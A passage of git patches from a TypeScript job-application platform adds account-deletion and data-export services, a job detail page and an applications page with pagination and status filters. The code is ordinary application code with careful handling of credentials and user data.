userId: string; + actorUserId: string | null; + /** Request id, so the entry can be joined to the request log. */ + traceId: string; + metadata?: AccountAuditMetadata; + }, +): Promise { + await db.insert(schema.auditLogs).values({ + organizationId: null, + actorUserId: entry.actorUserId, + action: entry.action, + resourceType: 'user', + resourceId: entry.userId, + traceId: entry.traceId, + metadata: entry.metadata ?? {}, + }); +} diff --git a/services/auth/src/repo/delete-account.ts b/services/auth/src/repo/delete-account.ts new file mode 100644 index 0000000..4744354 --- /dev/null +++ b/services/auth/src/repo/delete-account.ts @@ -0,0 +1,237 @@ +import { and, asc, eq, inArray, ne, or, sql } from 'drizzle-orm'; +import { schema, type Database, type Transaction } from '@atlas/db'; +import type { DeleteAccountBlocker } from '@atlas/types'; +import { AppError } from '@atlas/utils'; +import { recordAccountAudit, ACCOUNT_AUDIT_ACTIONS } from './audit.js'; +import { analyticsEventsOf, outboxEventsOf, tasksOf } from './user-references.js'; + +export interface DeleteAccountOutcome { + deletedAt: Date; + /** Organizations the user was the last member of; they went with the account. */ + organizationsDeleted: number; + /** Object-store keys of the user's resume files, collected before the rows holding them were deleted. */ + storageKeys: string[]; + /** False when there was nothing left to delete (a repeat of an earlier, completed request). */ + accountExisted: boolean; +} + +function blocked( + reason: DeleteAccountBlocker, + message: string, + organizations: Array<{ organization_id: string; name: string }> = [], +): AppError { + return new AppError('CONFLICT', message, { details: { reason, organizations } }); +} + +/** + * Hard-deletes everything held about `userId`, and the sign-in account itself, in + * ONE transaction: either all of it is gone or none of it is. + * + * What removes what: + * - `delete from auth.users` is the root. public.users references it with ON + * DELETE CASCADE (packages/db/supabase/auth-hooks.sql), and every table that + * points at public.users cascades from there: organization_members, students, + * resumes, applications (and, through them, application_events and messages), + * messages, job_scores, connector_accounts, idempotency_keys. Doing it in this + * transaction, rather than after it, means a failure cannot leave a sign-in + * account behind with its data already gone. + * - Tables that would NOT be cleaned by that cascade are deleted explicitly: + * analytics_events user_id is ON DELETE SET NULL, which would orphan the row + * event_outbox user_id has no foreign key at all (by design) + * tasks payload only, no user column + * audit_logs the user's own account-level entries (resource = the user); + * entries where the user acted inside an organization are kept + * by design, with the actor set to null by its foreign key + * and organizations the user was the last member of. + * - Shared listings (jobs, companies, contacts) are not user data and stay. + * + * It refuses (409 CONFLICT) instead of deleting when doing so would strand other + * people or a credential: + * - the user is the only owner of an organization that has other members; + * - the user, or an organization about to be deleted, still has a connected + * account. Its credential lives in the connector secret store, which this + * service cannot reach, and deleting the row would leave that credential with + * nothing pointing at it. The user disconnects first (connectors-service + * revokes the secret), and then deletion goes through. + * + * The one row that survives is a tombstone in audit_logs: action `account.deleted`, + * resource_id = the user id, no actor, counts only. + */ +export async function deleteAccountData( + db: Database, + userId: string, + traceId: string, +): Promise { + return db.transaction(async (tx) => { + // Serialize concurrent deletes of the same account (a double click, a retry). + const [publicAccount] = await tx + .select({ userId: schema.users.userId }) + .from(schema.users) + .where(eq(schema.users.userId, userId)) + .for('update'); + + const authSchemaPresent = await hasAuthUsersTable(tx); + const authAccountExisted = authSchemaPresent && (await authUserExists(tx, userId)); + const accountExisted = publicAccount !== undefined || authAccountExisted; + + const storageKeys = ( + await tx.select({ storageUrl: schema.resumes.storageUrl }).from(schema.resumes).where(eq(schema.resumes.userId, userId)) + ).map((row) => row.storageUrl); + + const orgsToDelete = await organizationsToDelete(tx, userId); + + const activeConnectors = await tx + .select({ id: schema.connectorAccounts.connectorAccountId }) + .from(schema.connectorAccounts) + .where( + and( + ne(schema.connectorAccounts.status, 'revoked'), + or( + eq(schema.connectorAccounts.userId, userId), + orgsToDelete.length > 0 + ? inArray( + schema.connectorAccounts.organizationId, + orgsToDelete.map((org) => org.organization_id), + ) + : undefined, + ), + ), + ) + .limit(1); + if (activeConnectors.length > 0) { + throw blocked( + 'active_connected_accounts', + 'You still have a connected account. Disconnect it first, so its credential is revoked, then delete your account.', + ); + } + + if (orgsToDelete.length > 0) { + await tx.delete(schema.organizations).where( + inArray( + schema.organizations.organizationId, + orgsToDelete.map((org) => org.organization_id), + ), + ); + } + + await tx.delete(schema.eventOutbox).where(outboxEventsOf(userId)); + await tx.delete(schema.analyticsEvents).where(analyticsEventsOf(userId)); + await tx.delete(schema.tasks).where(tasksOf(userId)); + await tx + .delete(schema.auditLogs) + .where(and(eq(schema.auditLogs.resourceType, 'user'), eq(schema.auditLogs.resourceId, userId))); + + if (authSchemaPresent) { + await tx.execute(sql`delete from auth.users where id = ${userId}`); + } + // The cascade above already removed this row where the foreign key exists. Doing it + // explicitly covers a database without the Supabase auth schema (local development). + await tx.delete(schema.users).where(eq(schema.users.userId, userId)); + + const deletedAt = new Date(); + if (accountExisted) { + await recordAccountAudit(tx, { + action: ACCOUNT_AUDIT_ACTIONS.deleted, + userId, + actorUserId: null, + traceId, + metadata: { organizations_deleted: orgsToDelete.length, resume_files: storageKeys.length }, + }); + } + + return { deletedAt, organizationsDeleted: orgsToDelete.length, storageKeys, accountExisted }; + }); +} + +/** True on Supabase, and on test databases that load infra/ci/supabase-stub.sql; false on a plain Postgres. */ +async function hasAuthUsersTable(tx: Transaction): Promise { + const rows = await tx.execute(sql`select to_regclass('auth.users') is not null as present`); + return rows[0]?.present === true; +} + +async function authUserExists(tx: Transaction, userId: string): Promise { + const rows = await tx.execute(sql`select 1 as present from auth.users where id = ${userId}`); + return rows.length > 0; +} + +/** + * Looks at every organization the user belongs to (as a member or on its student + * roster), locks them, and decides each one's fate: + * - the user is the only person in it: it is deleted with the account; + * - others remain and the user is not their only owner: just the user's rows go; + * - others remain and the user is the only owner: deletion is refused. + * + * The locks (organization rows, then their membership rows, always in id order) + * hold off a concurrent invite, role change or removal until this transaction + * ends, so the decision cannot go stale underneath it. + */ +async function organizationsToDelete( + tx: Transaction, + userId: string, +): Promise> { + const memberOf = await tx + .select({ organizationId: schema.organizationMembers.organizationId }) + .from(schema.organizationMembers) + .where(eq(schema.organizationMembers.userId, userId)); + const rosterOf = await tx + .select({ organizationId: schema.students.organizationId }) + .from(schema.students) + .where(eq(schema.students.userId, userId)); + + const organizationIds = [...new Set([...memberOf, ...rosterOf].map((row) => row.organizationId))].sort(); + if (organizationIds.length === 0) return []; + + const organizations = await tx + .select({ organizationId: schema.organizations.organizationId, name: schema.organizations.name }) + .from(schema.organizations) + .where(inArray(schema.organizations.organizationId, organizationIds)) + .orderBy(asc(schema.organizations.organizationId)) + .for('update'); + + const members = await tx + .select({ + organizationId: schema.organizationMembers.organizationId, + userId: schema.organizationMembers.userId, + role: schema.organizationMembers.role, + }) + .from(schema.organizationMembers) + .where(inArray(schema.organizationMembers.organizationId, organizationIds)) + .orderBy(asc(schema.organizationMembers.organizationId), asc(schema.organizationMembers.userId)) + .for('update'); + + const roster = await tx + .select({ organizationId: schema.students.organizationId, userId: schema.students.userId }) + .from(schema.students) + .where(inArray(schema.students.organizationId, organizationIds)); + + const toDelete: Array<{ organization_id: string; name: string }> = []; + const soleOwnerOf: Array<{ organization_id: string; name: string }> = []; + + for (const organization of organizations) { + const orgMembers = members.filter((row) => row.organizationId === organization.organizationId); + const otherMembers = orgMembers.filter((row) => row.userId !== userId); + const otherStudents = roster.filter( + (row) => row.organizationId === organization.organizationId && row.userId !== userId, + ); + const summary = { organization_id: organization.organizationId, name: organization.name }; + + if (otherMembers.length === 0 && otherStudents.length === 0) { + toDelete.push(summary); + continue; + } + + const ownsIt = orgMembers.some((row) => row.userId === userId && row.role === 'owner'); + const anotherOwner = otherMembers.some((row) => row.role === 'owner'); + if (ownsIt && !anotherOwner) soleOwnerOf.push(summary); + } + + if (soleOwnerOf.length > 0) { + throw blocked( + 'sole_owner_of_organization', + 'You are the only owner of an organization that has other members. Make another member an owner, or remove the other members, then delete your account.', + soleOwnerOf, + ); + } + + return toDelete; +} diff --git a/services/auth/src/repo/export.ts b/services/auth/src/repo/export.ts new file mode 100644 index 0000000..a1d5a68 --- /dev/null +++ b/services/auth/src/repo/export.ts @@ -0,0 +1,384 @@ +import { asc, desc, eq, inArray } from 'drizzle-orm'; +import { schema, type Database } from '@atlas/db'; +import { + ACCOUNT_EXPORT_NOTES, + ACCOUNT_EXPORT_VERSION, + type AccountExport, + type ExportApplication, + type ExportApplicationEvent, + type ExportTruncatableSection, + type ExportTruncation, +} from '@atlas/types'; +import { recordTruncation, type ExportLimits } from '../lib/export-budget.js'; +import { toIso, toIsoOrNull } from '../lib/timestamps.js'; +import { analyticsEventsOf } from './user-references.js'; + +/** Keeps `cap` rows of a `cap + 1` fetch and notes the cut, so truncation is detected without a count query. */ +function capRows( + rows: T[], + cap: number, + section: ExportTruncatableSection, + truncated: ExportTruncation[], +): T[] { + if (rows.length <= cap) return rows; + recordTruncation(truncated, { section, returned: cap, reason: 'row_limit' }); + return rows.slice(0, cap); +} + +/** + * Everything Atlas holds about `userId`, as one document, or null when there is + * no such user. + * + * Every query is keyed on the caller's own id, so another user's rows can only + * appear through a join, and the joins here reach only the shared job and + * company listings. Columns that hold credentials or internal pointers are not + * selected at all (password hash, MFA secret, lockout counters, storage keys, + * embeddings, connector secret references), rather than selected and stripped, + * so a future change to a mapper cannot start leaking them. + * + * It all runs in one read-only REPEATABLE READ transaction, so the sections + * describe the same moment. + */ +export async function collectAccountExport( + db: Database, + userId: string, + limits: ExportLimits, + now: Date = new Date(), +): Promise { + return db.transaction( + async (tx) => { + const [user] = await tx + .select({ + userId: schema.users.userId, + profileId: schema.users.profileId, + email: schema.users.email, + fullName: schema.users.fullName, + authProvider: schema.users.authProvider, + emailVerified: schema.users.emailVerified, + mfaEnabled: schema.users.mfaEnabled, + lastLoginAt: schema.users.lastLoginAt, + createdAt: schema.users.createdAt, + updatedAt: schema.users.updatedAt, + }) + .from(schema.users) + .where(eq(schema.users.userId, userId)) + .limit(1); + if (!user) return null; + + const truncated: ExportTruncation[] = []; + + const membershipRows = await tx + .select({ + organizationId: schema.organizations.organizationId, + name: schema.organizations.name, + type: schema.organizations.type, + plan: schema.organizations.plan, + role: schema.organizationMembers.role, + permissions: schema.organizationMembers.permissions, + joinedAt: schema.organizationMembers.createdAt, + }) + .from(schema.organizationMembers) + .innerJoin( + schema.organizations, + eq(schema.organizations.organizationId, schema.organizationMembers.organizationId), + ) + .where(eq(schema.organizationMembers.userId, userId)) + .orderBy(asc(schema.organizationMembers.createdAt), asc(schema.organizations.organizationId)) + .limit(limits.rows.organization_memberships + 1); + + const studentRows = await tx + .select({ + studentId: schema.students.studentId, + organizationId: schema.students.organizationId, + department: schema.students.department, + graduationYear: schema.students.graduationYear, + currentStatus: schema.students.currentStatus, + createdAt: schema.students.createdAt, + }) + .from(schema.students) + .where(eq(schema.students.userId, userId)) + .orderBy(asc(schema.students.createdAt), asc(schema.students.studentId)) + .limit(limits.rows.student_records + 1); + + const resumeRows = await tx + .select({ + resumeId: schema.resumes.resumeId, + originalFilename: schema.resumes.originalFilename, + contentType: schema.resumes.contentType, + byteSize: schema.resumes.byteSize, + status: schema.resumes.status, + parsedText: schema.resumes.parsedText, + parsedProfile: schema.resumes.parsedProfile, + atsScore: schema.resumes.atsScore, + atsReport: schema.resumes.atsReport, + failureReason: schema.resumes.failureReason, + parsedAt: schema.resumes.parsedAt, + createdAt: schema.resumes.createdAt, + updatedAt: schema.resumes.updatedAt, + }) + .from(schema.resumes) + .where(eq(schema.resumes.userId, userId)) + .orderBy(desc(schema.resumes.createdAt), desc(schema.resumes.resumeId)) + .limit(limits.rows.resumes + 1); + + const applicationRows = await tx + .select({ + applicationId: schema.applications.applicationId, + jobId: schema.applications.jobId, + resumeId: schema.applications.resumeId, + organizationId: schema.applications.organizationId, + status: schema.applications.status, + mode: schema.applications.mode, + coverLetter: schema.applications.coverLetter, + submittedAt: schema.applications.submittedAt, + lastEventAt: schema.applications.lastEventAt, + failureReason: schema.applications.failureReason, + createdAt: schema.applications.createdAt, + jobTitle: schema.jobs.title, + jobLocation: schema.jobs.location, + companyName: schema.companies.name, + }) + .from(schema.applications) + .leftJoin(schema.jobs, eq(schema.jobs.jobId, schema.applications.jobId)) + .leftJoin(schema.companies, eq(schema.companies.companyId, schema.jobs.companyId)) + .where(eq(schema.applications.userId, userId)) + .orderBy(desc(schema.applications.createdAt), desc(schema.applications.applicationId)) + .limit(limits.rows.applications + 1); + + const applications = capRows(applicationRows, limits.rows.applications, 'applications', truncated); + + const eventRows = + applications.length === 0 + ? [] + : await tx + .select({ + eventId: schema.applicationEvents.eventId, + applicationId: schema.applicationEvents.applicationId, + fromStatus: schema.applicationEvents.fromStatus, + toStatus: schema.applicationEvents.toStatus, + note: schema.applicationEvents.note, + metadata: schema.applicationEvents.metadata, + createdAt: schema.applicationEvents.createdAt, + }) + .from(schema.applicationEvents) + .where( + inArray( + schema.applicationEvents.applicationId, + applications.map((row) => row.applicationId), + ), + ) + .orderBy(asc(schema.applicationEvents.createdAt), asc(schema.applicationEvents.eventId)) + .limit(limits.rows.application_events + 1); + const events = capRows(eventRows, limits.rows.application_events, 'application_events', truncated); + + const eventsByApplication = new Map(); + for (const row of events) { + const list = eventsByApplication.get(row.applicationId) ?? []; + list.push({ + event_id: row.eventId, + from_status: row.fromStatus, + to_status: row.toStatus, + note: row.note, + metadata: row.metadata, + created_at: toIso(row.createdAt), + }); + eventsByApplication.set(row.applicationId, list); + } + + const messageRows = await tx + .select({ + messageId: schema.messages.messageId, + applicationId: schema.messages.applicationId, + contactId: schema.messages.contactId, + channel: schema.messages.channel, + status: schema.messages.status, + subject: schema.messages.subject, + body: schema.messages.body, + scheduledFor: schema.messages.scheduledFor, + sentAt: schema.messages.sentAt, + createdAt: schema.messages.createdAt, + }) + .from(schema.messages) + .where(eq(schema.messages.userId, userId)) + .orderBy(desc(schema.messages.createdAt), desc(schema.messages.messageId)) + .limit(limits.rows.messages + 1); + + const scoreRows = await tx + .select({ + jobId: schema.jobScores.jobId, + score: schema.jobScores.score, + reasons: schema.jobScores.reasons, + skillGaps: schema.jobScores.skillGaps, + modelVersion: schema.jobScores.modelVersion, + scoredAt: schema.jobScores.scoredAt, + jobTitle: schema.jobs.title, + jobLocation: schema.jobs.location, + companyName: schema.companies.name, + }) + .from(schema.jobScores) + .leftJoin(schema.jobs, eq(schema.jobs.jobId, schema.jobScores.jobId)) + .leftJoin(schema.companies, eq(schema.companies.companyId, schema.jobs.companyId)) + .where(eq(schema.jobScores.userId, userId)) + .orderBy(desc(schema.jobScores.score), asc(schema.jobScores.jobId)) + .limit(limits.rows.job_scores + 1); + + const activityRows = await tx + .select({ + eventId: schema.analyticsEvents.eventId, + eventType: schema.analyticsEvents.eventType, + organizationId: schema.analyticsEvents.organizationId, + payload: schema.analyticsEvents.payload, + timestamp: schema.analyticsEvents.timestamp, + }) + .from(schema.analyticsEvents) + .where(analyticsEventsOf(userId)) + .orderBy(desc(schema.analyticsEvents.timestamp), desc(schema.analyticsEvents.eventId)) + .limit(limits.rows.activity_events + 1); + + const connectorRows = await tx + .select({ + connectorAccountId: schema.connectorAccounts.connectorAccountId, + organizationId: schema.connectorAccounts.organizationId, + provider: schema.connectorAccounts.provider, + externalAccountId: schema.connectorAccounts.externalAccountId, + scopes: schema.connectorAccounts.scopes, + status: schema.connectorAccounts.status, + consentGrantedAt: schema.connectorAccounts.consentGrantedAt, + expiresAt: schema.connectorAccounts.expiresAt, + lastSyncedAt: schema.connectorAccounts.lastSyncedAt, + createdAt: schema.connectorAccounts.createdAt, + }) + .from(schema.connectorAccounts) + .where(eq(schema.connectorAccounts.userId, userId)) + .orderBy(asc(schema.connectorAccounts.createdAt), asc(schema.connectorAccounts.connectorAccountId)) + .limit(limits.rows.connected_accounts + 1); + + const memberships = capRows(membershipRows, limits.rows.organization_memberships, 'organization_memberships', truncated); + const students = capRows(studentRows, limits.rows.student_records, 'student_records', truncated); + const resumes = capRows(resumeRows, limits.rows.resumes, 'resumes', truncated); + const messages = capRows(messageRows, limits.rows.messages, 'messages', truncated); + const scores = capRows(scoreRows, limits.rows.job_scores, 'job_scores', truncated); + const activity = capRows(activityRows, limits.rows.activity_events, 'activity_events', truncated); + const connectors = capRows(connectorRows, limits.rows.connected_accounts, 'connected_accounts', truncated); + + return { + export_version: ACCOUNT_EXPORT_VERSION, + generated_at: now.toISOString(), + user: { + user_id: user.userId, + email: user.email, + full_name: user.fullName, + auth_provider: user.authProvider, + email_verified: user.emailVerified, + mfa_enabled: user.mfaEnabled, + primary_resume_id: user.profileId, + last_login_at: toIsoOrNull(user.lastLoginAt), + created_at: toIso(user.createdAt), + updated_at: toIso(user.updatedAt), + }, + organization_memberships: memberships.map((row) => ({ + organization: { + organization_id: row.organizationId, + name: row.name, + type: row.type, + plan: row.plan, + }, + role: row.role, + permissions: row.permissions, + joined_at: toIso(row.joinedAt), + })), + student_records: students.map((row) => ({ + student_id: row.studentId, + organization_id: row.organizationId, + department: row.department, + graduation_year: row.graduationYear, + current_status: row.currentStatus, + created_at: toIso(row.createdAt), + })), + resumes: resumes.map((row) => ({ + resume_id: row.resumeId, + original_filename: row.originalFilename, + content_type: row.contentType, + byte_size: row.byteSize, + status: row.status, + parsed_text: row.parsedText, + parsed_profile: row.parsedProfile, + ats_score: row.atsScore, + ats_report: row.atsReport, + failure_reason: row.failureReason, + parsed_at: toIsoOrNull(row.parsedAt), + created_at: toIso(row.createdAt), + updated_at: toIso(row.updatedAt), + })), + applications: applications.map( + (row): ExportApplication => ({ + application_id: row.applicationId, + job: { + job_id: row.jobId, + title: row.jobTitle, + company_name: row.companyName, + location: row.jobLocation, + }, + resume_id: row.resumeId, + organization_id: row.organizationId, + status: row.status, + mode: row.mode, + cover_letter: row.coverLetter, + submitted_at: toIsoOrNull(row.submittedAt), + last_event_at: toIso(row.lastEventAt), + failure_reason: row.failureReason, + created_at: toIso(row.createdAt), + events: eventsByApplication.get(row.applicationId) ?? [], + }), + ), + messages: messages.map((row) => ({ + message_id: row.messageId, + application_id: row.applicationId, + contact_id: row.contactId, + channel: row.channel, + status: row.status, + subject: row.subject, + body: row.body, + scheduled_for: toIsoOrNull(row.scheduledFor), + sent_at: toIsoOrNull(row.sentAt), + created_at: toIso(row.createdAt), + })), + job_scores: scores.map((row) => ({ + job: { + job_id: row.jobId, + title: row.jobTitle, + company_name: row.companyName, + location: row.jobLocation, + }, + score: row.score, + reasons: row.reasons, + skill_gaps: row.skillGaps, + model_version: row.modelVersion, + scored_at: toIso(row.scoredAt), + })), + activity_events: activity.map((row) => ({ + event_id: row.eventId, + event_type: row.eventType, + organization_id: row.organizationId, + payload: row.payload, + occurred_at: toIso(row.timestamp), + })), + connected_accounts: connectors.map((row) => ({ + connector_account_id: row.connectorAccountId, + organization_id: row.organizationId, + provider: row.provider, + external_account_id: row.externalAccountId, + scopes: row.scopes, + status: row.status, + consent_granted_at: toIsoOrNull(row.consentGrantedAt), + expires_at: toIsoOrNull(row.expiresAt), + last_synced_at: toIsoOrNull(row.lastSyncedAt), + created_at: toIso(row.createdAt), + })), + truncated, + notes: [...ACCOUNT_EXPORT_NOTES], + }; + }, + { isolationLevel: 'repeatable read', accessMode: 'read only' }, + ); +} diff --git a/services/auth/src/repo/user-references.ts b/services/auth/src/repo/user-references.ts new file mode 100644 index 0000000..7fba44b --- /dev/null +++ b/services/auth/src/repo/user-references.ts @@ -0,0 +1,27 @@ +import { eq, sql, type SQL } from 'drizzle-orm'; +import { schema } from '@atlas/db'; + +/** + * Rows that belong to a user without a foreign key to say so. Export and + * deletion share these predicates so that "what we export" and "what we delete" + * cannot drift apart. + * + * Event payloads carry the subject as `payload.user_id` (packages/types/src/events.ts), + * and the envelope's trace context carries it as the `user_id` column, but for + * some events only one of the two is set, so both count. + */ + +/** Analytics events attributed to the user. `analytics_events.user_id` is a SET NULL foreign key, which would orphan, not remove, them. */ +export function analyticsEventsOf(userId: string): SQL { + return sql`(${eq(schema.analyticsEvents.userId, userId)} or ${schema.analyticsEvents.payload} ->> 'user_id' = ${userId})`; +} + +/** Outbox events about the user. `event_outbox.user_id` deliberately has no foreign key (see the schema comment). */ +export function outboxEventsOf(userId: string): SQL { + return sql`(${eq(schema.eventOutbox.userId, userId)} or ${schema.eventOutbox.payload} ->> 'user_id' = ${userId})`; +} + +/** Durable task rows whose payload names the user. Nothing writes this table yet; the predicate keeps it from becoming a retention gap. */ +export function tasksOf(userId: string): SQL { + return sql`${schema.tasks.payload} ->> 'user_id' = ${userId}`; +} diff --git a/services/auth/test/ratelimit.test.ts b/services/auth/test/ratelimit.test.ts index 18f2a05..bc9cbe2 100644 --- a/services/auth/test/ratelimit.test.ts +++ b/services/auth/test/ratelimit.test.ts @@ -1,8 +1,11 @@ +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; import rateLimit from '@fastify/rate-limit'; import Fastify, { type FastifyInstance } from 'fastify'; import { afterEach, describe, expect, it } from 'vitest'; import { createTokenVerifierConfig } from '@atlas/auth-kit'; import { createDatabase, type DatabaseHandle } from '@atlas/db'; +import { createLocalDriver } from '@atlas/storage'; import { registerRateLimitedRoutes } from '@atlas/observability'; import { createSilentLogger } from '@atlas/utils'; import { buildApp } from '../src/app.js'; @@ -31,6 +34,8 @@ async function build(envOverrides: Record = {}): Promise Date: Tue, 27 Oct 2026 13:38:44 +0000 Subject: [PATCH 61/91] feat(web): job detail page with resume check and assisted apply /dashboard/jobs/[id] shows the posting, match score and reasons (when scored), an advisory 'Check my resume against this job' panel (keyword match, bullet findings, ATS notes, truthfulness note - it never rewrites the resume) and an assisted-apply panel: start a draft (idempotent), open the employer's page (http/https only, new tab, noopener noreferrer, records the opened marker), then mark it submitted after confirming. Atlas does not submit for the user. Job match cards link to the detail page. The applications page now shows job title, company, status and a link back to the job (graceful when job is null), a status filter, and loads further pages. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- .../src/app/dashboard/applications/page.tsx | 156 +++++-- .../src/app/dashboard/jobs/[id]/layout.tsx | 10 + apps/web/src/app/dashboard/jobs/[id]/page.tsx | 84 ++++ apps/web/src/app/dashboard/jobs/page.tsx | 20 +- .../applications/ApplicationRow.tsx | 54 +++ .../applications/AssistedApplyPanel.tsx | 406 ++++++++++++++++++ .../src/components/applications/view-model.ts | 10 + .../src/components/jobs/JobDescription.tsx | 59 +++ apps/web/src/components/jobs/JobDetail.tsx | 125 ++++++ .../src/components/jobs/JobMatchSummary.tsx | 52 +++ .../web/src/components/jobs/job-view-model.ts | 2 +- .../resume-check/ResumeCheckPanel.tsx | 120 ++++++ .../components/resume-check/ResumeReport.tsx | 183 ++++++++ .../components/resume-check/ResumeSection.tsx | 113 +++++ .../resume-check/report-view-model.ts | 27 +- apps/web/test/applications-view-model.test.ts | 27 ++ apps/web/test/report-view-model.test.ts | 21 +- 17 files changed, 1432 insertions(+), 37 deletions(-) create mode 100644 apps/web/src/app/dashboard/jobs/[id]/layout.tsx create mode 100644 apps/web/src/app/dashboard/jobs/[id]/page.tsx create mode 100644 apps/web/src/components/applications/ApplicationRow.tsx create mode 100644 apps/web/src/components/applications/AssistedApplyPanel.tsx create mode 100644 apps/web/src/components/jobs/JobDescription.tsx create mode 100644 apps/web/src/components/jobs/JobDetail.tsx create mode 100644 apps/web/src/components/jobs/JobMatchSummary.tsx create mode 100644 apps/web/src/components/resume-check/ResumeCheckPanel.tsx create mode 100644 apps/web/src/components/resume-check/ResumeReport.tsx create mode 100644 apps/web/src/components/resume-check/ResumeSection.tsx diff --git a/apps/web/src/app/dashboard/applications/page.tsx b/apps/web/src/app/dashboard/applications/page.tsx index 157365b..2a3a199 100644 --- a/apps/web/src/app/dashboard/applications/page.tsx +++ b/apps/web/src/app/dashboard/applications/page.tsx @@ -1,55 +1,155 @@ 'use client'; +import { ApplicationRow } from '@/components/applications/ApplicationRow'; +import { buildStatusFilters, filterByStatus, type ApplicationItem } from '@/components/applications/view-model'; +import { ResourceError } from '@/components/dashboard/ResourceError'; +import { SkeletonGroup } from '@/components/dashboard/SkeletonGroup'; import { useSession } from '@/lib/auth-context'; import { listApplications } from '@/lib/services/applications'; -import { statusLabel, statusVariant } from '@/lib/status-badge'; import { useResource } from '@/lib/use-resource'; -import { ResourceError } from '@/components/dashboard/ResourceError'; -import { SkeletonGroup } from '@/components/dashboard/SkeletonGroup'; -import { Badge, Card, CardDescription, CardTitle, Skeleton, fadeUp, staggerContainer } from '@atlas/ui'; -import { motion } from 'framer-motion'; +import { Button, Card, CardDescription, CardTitle, Skeleton } from '@atlas/ui'; +import { motion, type Variants } from 'framer-motion'; +import { LoaderCircle } from 'lucide-react'; +import Link from 'next/link'; +import * as React from 'react'; + +const PAGE_SIZE = 50; + +/** Same reveal as the other lists, but the whole cascade is capped (~0.6s) so a long list doesn't animate for seconds. */ +function listVariants(count: number): Variants { + return { + hidden: {}, + visible: { transition: { staggerChildren: Math.min(0.08, 0.6 / Math.max(count, 1)), delayChildren: 0.04 } }, + }; +} export default function ApplicationsPage() { const { accessToken } = useSession(); - const applications = useResource(() => listApplications(accessToken!), [accessToken]); + const first = useResource(() => listApplications(accessToken!, { limit: PAGE_SIZE }), [accessToken]); + + // Further pages are appended locally; a fresh first page (retry) discards them. + const [more, setMore] = React.useState<{ items: ApplicationItem[]; nextCursor: string | null } | null>(null); + const [loadingMore, setLoadingMore] = React.useState(false); + const [moreFailed, setMoreFailed] = React.useState(false); + const [filter, setFilter] = React.useState('all'); + + React.useEffect(() => { + setMore(null); + setMoreFailed(false); + }, [first.data]); + + const items = React.useMemo(() => [...(first.data?.items ?? []), ...(more?.items ?? [])], [first.data, more]); + const nextCursor = more ? more.nextCursor : (first.data?.next_cursor ?? null); + const filters = React.useMemo(() => buildStatusFilters(items), [items]); + // A filter whose applications are gone after a reload falls back to "All". + const activeFilter = filters.some((entry) => entry.value === filter) ? filter : 'all'; + const visible = filterByStatus(items, activeFilter); + const activeLabel = filters.find((entry) => entry.value === activeFilter)?.label ?? 'All'; + + async function loadMore() { + if (!nextCursor || !accessToken || loadingMore) return; + setLoadingMore(true); + setMoreFailed(false); + try { + const page = await listApplications(accessToken, { limit: PAGE_SIZE, cursor: nextCursor }); + setMore((previous) => ({ items: [...(previous?.items ?? []), ...page.items], nextCursor: page.next_cursor })); + } catch { + setMoreFailed(true); + } finally { + setLoadingMore(false); + } + } return (

Applications

-

Your applications, tracked from draft to decision.

+

+ Track the applications you make on employers' sites, from draft to decision. Atlas doesn't submit + applications for you. +

- {applications.loading ? ( + {first.loading ? ( {[0, 1, 2].map((i) => ( ))} - ) : applications.error ? ( - - ) : applications.data?.items.length === 0 ? ( + ) : first.error ? ( + + ) : items.length === 0 ? ( No applications yet - Applications tracked through Atlas will appear here, with their status from draft to decision. + Open a job from your matches, check your resume against it, then start an application. You apply on the + employer's site and record it here, so this list always shows where you stand. + ) : ( - - {applications.data?.items.map((application) => ( - - -
-

Job {application.job_id.slice(0, 8)}

-

- {application.mode === 'auto' ? 'Automated' : 'Manual'} · created{' '} - {new Date(application.created_at).toLocaleDateString()} -

-
- {statusLabel(application.status)} -
-
- ))} -
+ <> + {filters.length > 2 ? ( +
+ {filters.map((entry) => { + const active = entry.value === activeFilter; + return ( + + ); + })} +
+ ) : null} + +

+ {activeFilter === 'all' + ? `Showing all ${visible.length} applications` + : `Showing ${visible.length} ${activeLabel.toLowerCase()} applications`} +

+ + + {visible.map((application) => ( + + ))} + + + {nextCursor ? ( +
+ + {moreFailed ? ( +

+ We couldn't load more applications. Check your connection and try again. +

+ ) : null} +
+ ) : null} + )}
); diff --git a/apps/web/src/app/dashboard/jobs/[id]/layout.tsx b/apps/web/src/app/dashboard/jobs/[id]/layout.tsx new file mode 100644 index 0000000..081b338 --- /dev/null +++ b/apps/web/src/app/dashboard/jobs/[id]/layout.tsx @@ -0,0 +1,10 @@ +import type { Metadata } from 'next'; +import type { ReactNode } from 'react'; + +// The page itself is a client component, so its title lives here. Indexing is +// already switched off for all of /dashboard in the parent layout. +export const metadata: Metadata = { title: 'Job details' }; + +export default function Layout({ children }: { children: ReactNode }) { + return children; +} diff --git a/apps/web/src/app/dashboard/jobs/[id]/page.tsx b/apps/web/src/app/dashboard/jobs/[id]/page.tsx new file mode 100644 index 0000000..d5a9311 --- /dev/null +++ b/apps/web/src/app/dashboard/jobs/[id]/page.tsx @@ -0,0 +1,84 @@ +'use client'; + +import { ResourceError } from '@/components/dashboard/ResourceError'; +import { SkeletonGroup } from '@/components/dashboard/SkeletonGroup'; +import { JobDetail } from '@/components/jobs/JobDetail'; +import { useSession } from '@/lib/auth-context'; +import { getJob } from '@/lib/services/jobs'; +import { useResource } from '@/lib/use-resource'; +import type { Job } from '@atlas/types'; +import { Button, Card, CardDescription, CardTitle, Skeleton } from '@atlas/ui'; +import { ArrowLeft } from 'lucide-react'; +import Link from 'next/link'; +import { useParams } from 'next/navigation'; + +const UUID_PATTERN = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i; + +type JobLookup = { found: true; job: Job } | { found: false }; + +/** + * An unknown id (404) and a malformed one (400) both mean "no such job" to the + * user; anything else (network, 5xx) is a real failure and is rethrown so the + * page offers a retry instead of claiming the job doesn't exist. + */ +async function lookUpJob(jobId: string, accessToken: string): Promise { + if (!UUID_PATTERN.test(jobId)) return { found: false }; + try { + const { job } = await getJob(jobId, accessToken); + return { found: true, job }; + } catch (cause) { + const status = (cause as { status?: unknown } | null)?.status; + if (status === 404 || status === 400) return { found: false }; + throw cause; + } +} + +function BackLink() { + return ( + +